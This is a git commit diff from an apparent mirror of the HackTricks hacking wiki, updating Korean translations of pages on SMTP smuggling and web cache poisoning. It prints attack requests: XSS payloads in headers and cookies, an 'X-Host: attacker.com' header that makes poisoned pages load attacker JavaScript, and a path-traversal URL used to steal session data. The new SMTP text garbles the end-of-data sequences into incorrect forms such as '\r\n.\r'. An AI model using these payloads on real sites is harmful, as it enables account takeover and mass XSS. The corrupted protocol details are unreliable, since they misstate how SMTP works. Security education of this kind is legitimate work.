mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.
This commit is contained in:
parent
740e20c9c9
commit
398ec15410
12 changed files with 283 additions and 189 deletions
BIN
.gitbook/assets/image (1250).png
Normal file
BIN
.gitbook/assets/image (1250).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1251).png
Normal file
BIN
.gitbook/assets/image (1251).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 29 KiB |
BIN
.gitbook/assets/image (1252).png
Normal file
BIN
.gitbook/assets/image (1252).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 32 KiB |
BIN
.gitbook/assets/image (1253).png
Normal file
BIN
.gitbook/assets/image (1253).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 30 KiB |
|
@ -531,6 +531,7 @@
|
|||
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||
* [Cache Poisoning via URL discrepancies](pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md)
|
||||
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
|
||||
* [Clickjacking](pentesting-web/clickjacking.md)
|
||||
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# SMTP Smuggling
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,39 +15,39 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 기본 정보
|
||||
## Basic Information
|
||||
|
||||
이러한 유형의 취약점은 [**이 게시물에서 처음 발견되었습니다**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) 여기서 이메일을 최종화할 때 SMTP 프로토콜이 해석되는 방식의 불일치를 **악용할 수 있습니다**. 이를 통해 공격자는 합법적인 이메일 본문에 더 많은 이메일을 밀어넣을 수 있으며, 이는 영향을 받는 도메인의 다른 사용자(예: admin@outlook.com)를 가장할 수 있게 해주며 SPF와 같은 방어를 우회할 수 있습니다.
|
||||
이러한 유형의 취약점은 [**이 게시물에서 원래 발견되었습니다**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) 여기서 이메일을 최종화할 때 SMTP 프로토콜이 해석되는 방식의 불일치를 **악용할 수 있습니다**. 이를 통해 공격자는 합법적인 이메일 본문에 더 많은 이메일을 밀어넣을 수 있으며, 이는 영향을 받는 도메인의 다른 사용자(예: admin@outlook.com)로 가장할 수 있게 해주며 SPF와 같은 방어를 우회할 수 있습니다.
|
||||
|
||||
### 이유
|
||||
### Why
|
||||
|
||||
이는 SMTP 프로토콜에서 이메일로 전송될 **메시지 데이터**가 사용자(공격자)에 의해 제어되기 때문입니다. 이 사용자는 파서의 차이를 악용하여 수신자에게 추가 이메일을 밀어넣는 특별히 조작된 데이터를 보낼 수 있습니다. 원래 게시물의 이 그림 예제를 살펴보세요:
|
||||
이는 SMTP 프로토콜에서 이메일로 전송될 **메시지의 데이터**가 사용자(공격자)에 의해 제어되기 때문입니다. 이 사용자는 파서의 차이를 악용하여 수신자에게 추가 이메일을 밀어넣는 특별히 조작된 데이터를 보낼 수 있습니다. 원래 게시물의 이 그림 예제를 살펴보세요:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### 방법
|
||||
### How
|
||||
|
||||
이 취약점을 악용하기 위해 공격자는 **아웃바운드 SMTP 서버가 단지 1개의 이메일로 생각하는 데이터를 보내야 하지만 인바운드 SMTP 서버는 여러 이메일이 있다고 생각해야 합니다**.
|
||||
|
||||
연구자들은 서로 다른 **인바운드 서버가 이메일 메시지의 데이터 끝을 나타내는 서로 다른 문자를 고려한다는 것을 발견했습니다**.\
|
||||
예를 들어, 일반적인 데이터 끝은 `\r\n.\r\n`입니다. 그러나 인바운드 SMTP 서버가 `\n.\n`도 지원하는 경우, 공격자는 **이 데이터를 이메일에 추가하고 새로운 이메일을 밀어넣기 위한 SMTP 명령을 시작할 수 있습니다**. 이전 이미지와 마찬가지로 말이죠.
|
||||
연구자들은 서로 다른 **인바운드 서버가 이메일 메시지의 데이터 끝을 나타내는 서로 다른 문자를 고려한다는 것을 발견했습니다**. 아웃바운드 서버는 그렇지 않습니다.\
|
||||
예를 들어, 데이터의 일반적인 끝은 `\r\n.\r`입니다. 그러나 인바운드 SMTP 서버가 `\n.`도 지원하는 경우, 공격자는 **이 데이터를 이메일에 추가하고 새로운 이메일을 밀어넣기 위한 SMTP 명령을 시작할 수 있습니다**. 이전 이미지와 같이.
|
||||
|
||||
물론, 이는 **아웃바운드 SMTP 서버가 이 데이터를 메시지 데이터의 끝으로 처리하지 않을 경우에만 작동합니다**. 그렇지 않으면 1개의 이메일 대신 2개의 이메일로 보게 되므로, 결국 이것이 이 취약점에서 악용되는 비동기화입니다.
|
||||
|
||||
잠재적인 비동기화 데이터:
|
||||
|
||||
* `\n.\n`
|
||||
* `\n.\r\n`
|
||||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
||||
또한 SPF가 우회되는 이유는 `user@outlook.com`의 이메일에서 `admin@outlook.com`의 이메일을 밀어넣으면 **발신자는 여전히 `outlook.com`이기 때문입니다.**
|
||||
|
||||
## **참고 문헌**
|
||||
## **References**
|
||||
|
||||
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 캐시 오염 및 캐시 기만
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -18,8 +18,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
지금 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
||||
|
@ -28,7 +28,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
> **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?**
|
||||
>
|
||||
> * **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
|
||||
> * **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
|
||||
> * **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자가 이 콘텐츠를 캐시에서 검색합니다.
|
||||
|
||||
## 캐시 오염
|
||||
|
||||
|
@ -46,7 +46,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
### 발견: 캐시 오류 코드
|
||||
|
||||
응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있으며, 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청에 정상적으로 접근해 보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
|
||||
응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
|
||||
|
||||
더 많은 옵션은 다음에서 찾을 수 있습니다:
|
||||
|
||||
|
@ -64,23 +64,26 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
```
|
||||
### 백엔드 서버에서 유해한 응답 유도하기
|
||||
|
||||
매개변수/헤더가 확인되면 **어떻게** **정화**되고 **어디서** **반영**되거나 헤더의 응답에 영향을 미치는지 확인하십시오. 이를 악용할 수 있는 방법이 있습니까? (XSS를 수행하거나 당신이 제어하는 JS 코드를 로드할 수 있습니까? DoS를 수행할 수 있습니까?...)
|
||||
매개변수/헤더가 확인되면 **어떻게** **정화**되고 **어디서** 응답에 **반영**되거나 영향을 미치는지 확인하십시오. 이를 악용할 수 있는 방법이 있습니까? (XSS를 수행하거나, 당신이 제어하는 JS 코드를 로드하거나? DoS를 수행할 수 있습니까?...)
|
||||
|
||||
### 응답 캐시 가져오기
|
||||
|
||||
악용할 수 있는 **페이지**를 **식별**하고 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.\
|
||||
응답의 헤더 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
|
||||
헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 시간은 언제인지 아는 데 흥미롭습니다: `Cache-Control: public, max-age=1800`\
|
||||
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**되며, 일반적으로 키가 없는 경우에도 해당됩니다. 따라서 사용자가 목표로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자에 대해 캐시를 오염시킬 수 있습니다.\
|
||||
캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이는 객체가 프록시 캐시에 있었던 시간을 초 단위로 정의합니다.
|
||||
악용할 수 있는 **페이지**를 **확인**하고, 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.
|
||||
|
||||
요청을 캐시할 때는 사용하는 헤더에 **주의하십시오**. 일부 헤더는 **예상치 않게** **키가 있는** 것으로 사용될 수 있으며, **피해자는 동일한 헤더를 사용해야 합니다**. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
|
||||
응답의 헤더 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
|
||||
헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 아는 데 흥미롭습니다: `Cache-Control: public, max-age=1800`
|
||||
|
||||
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 일반적으로 키가 없는 추가 헤더를 **캐시 키의 일부로 처리**하기 위해 사용됩니다. 따라서 사용자가 목표로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 오염시킬 수 있습니다.
|
||||
|
||||
캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이는 객체가 프록시 캐시에 있는 시간을 초 단위로 정의합니다.
|
||||
|
||||
요청을 캐시할 때는 **사용하는 헤더에 주의**해야 합니다. 일부 헤더는 **예상치 않게** **키가 있는** 것으로 사용될 수 있으며, **피해자는 동일한 헤더를 사용해야 합니다**. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
|
||||
|
||||
## 악용 예시
|
||||
|
||||
### 가장 쉬운 예
|
||||
|
||||
헤더 `X-Forwarded-For`가 응답에서 정화되지 않고 반영되고 있습니다.\
|
||||
`X-Forwarded-For`와 같은 헤더가 응답에 정화되지 않고 반영되고 있습니다.\
|
||||
기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다:
|
||||
```markup
|
||||
GET /en?region=uk HTTP/1.1
|
||||
|
@ -105,13 +108,27 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
|||
```
|
||||
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
|
||||
|
||||
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 구분 기호, 정규화 및 점을 사용하여 불일치 생성 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL을 사용하여 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것은 Cloudflare가 URL을 정규화하지 않고 캐시되며, 이는 요청이 웹 서버에 도달했을 때 수행되었습니다.
|
||||
Check:
|
||||
|
||||
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
|
||||
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
때때로 **여러 개의 키가 없는 입력을 악용해야** 캐시를 남용할 수 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`을 `http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션의 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
|
||||
### API 키를 훔치기 위한 경로 탐색을 통한 캐시 오염 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것이 Cloudflare가 URL을 정규화하지 않고 캐시되기 때문에 가능했습니다. 이는 요청이 웹 서버에 도달했을 때 수행되었습니다.
|
||||
|
||||
이것은 다음에서 더 잘 설명됩니다:
|
||||
|
||||
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
|
||||
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`을 `http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션의 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
|
@ -129,7 +146,7 @@ X-Host: attacker.com
|
|||
```
|
||||
### Fat Get
|
||||
|
||||
URL와 본문에 요청을 포함하여 GET 요청을 보냅니다. 웹 서버가 본문에서 가져온 것을 사용하지만 캐시 서버가 URL에서 가져온 것을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 가져온 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
|
||||
URL와 본문에 요청을 포함한 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
|
@ -148,51 +165,39 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
|||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
|
||||
여기에서 [HTTP Request Smuggling을 악용한 Cache Poisoning 공격 수행 방법](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)을 배울 수 있습니다.
|
||||
여기에서 [HTTP Request Smuggling을 악용한 Cache Poisoning 공격 수행 방법](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)에 대해 알아보세요.
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)를 사용하여 웹 캐시 오염을 자동으로 테스트할 수 있습니다. 다양한 기술을 지원하며 매우 사용자 정의가 가능합니다.
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)는 웹 캐시 오염을 자동으로 테스트하는 데 사용할 수 있습니다. 다양한 기술을 지원하며 매우 사용자 정의가 가능합니다.
|
||||
|
||||
Example usage: `wcvs -u example.com`
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
||||
|
||||
|
||||
## Vulnerable Examples
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS는 URL 내의 fragment를 제거하지 않고 전달했으며, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다(프래그먼트 무시). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다. 오직 호스트, 경로 및 쿼리만 포함되었습니다.
|
||||
ATS는 URL 내의 조각을 제거하지 않고 전달했으며, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다(조각 무시). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다. 오직 호스트, 경로 및 쿼리만 포함되었습니다.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
content-type 헤더에 잘못된 값을 보내면 405 캐시 응답이 발생했습니다. 캐시 키에는 쿠키가 포함되어 있어 인증되지 않은 사용자만 공격할 수 있었습니다.
|
||||
content-type 헤더에 잘못된 값을 보내면 405 캐시된 응답이 발생했습니다. 캐시 키에는 쿠키가 포함되어 있어 인증되지 않은 사용자만 공격할 수 있었습니다.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 `x-http-method-override: HEAD` 헤더를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드를 지원할 수 있습니다.
|
||||
GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드를 지원할 수 있습니다.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 가져와 요청의 스킴으로 설정하는 것입니다. `x-forwarded-scheme: http` 헤더가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다.
|
||||
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 가져와 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 되어 보안 위험을 초래할 수 있습니다.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 다른 프록시 서비스에서도 여전히 존재할 수 있습니다.
|
||||
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 캐시된 403 응답이 발생했습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 다른 프록시 서비스에서도 여전히 존재할 수 있습니다.
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
캐시는 종종 캐시 키에 특정 GET 매개변수를 포함합니다. 예를 들어, Fastly의 Varnish는 요청에서 `size` 매개변수를 캐시했습니다. 그러나 잘못된 값으로 URL 인코딩된 매개변수(예: `siz%65`)도 전송되면 캐시 키는 올바른 `size` 매개변수를 사용하여 구성됩니다. 그러나 백엔드는 URL 인코딩된 매개변수의 값을 처리합니다. 두 번째 `size` 매개변수를 URL 인코딩하면 캐시에서 생략되지만 백엔드에서 사용됩니다. 이 매개변수에 0 값을 할당하면 캐시 가능한 400 Bad Request 오류가 발생합니다.
|
||||
캐시는 종종 캐시 키에 특정 GET 매개변수를 포함합니다. 예를 들어, Fastly의 Varnish는 요청에서 `size` 매개변수를 캐시했습니다. 그러나 잘못된 값으로 URL 인코딩된 매개변수(예: `siz%65`)가 함께 전송되면 캐시 키는 올바른 `size` 매개변수를 사용하여 구성됩니다. 그러나 백엔드는 URL 인코딩된 매개변수의 값을 처리합니다. 두 번째 `size` 매개변수를 URL 인코딩하면 캐시에서 생략되지만 백엔드에서 사용됩니다. 이 매개변수에 0 값을 할당하면 캐시 가능한 400 Bad Request 오류가 발생합니다.
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
|
@ -200,7 +205,7 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorizatio
|
|||
|
||||
### Illegal Header Fields
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. `\`와 같은 불법 문자가 포함된 헤더를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다.
|
||||
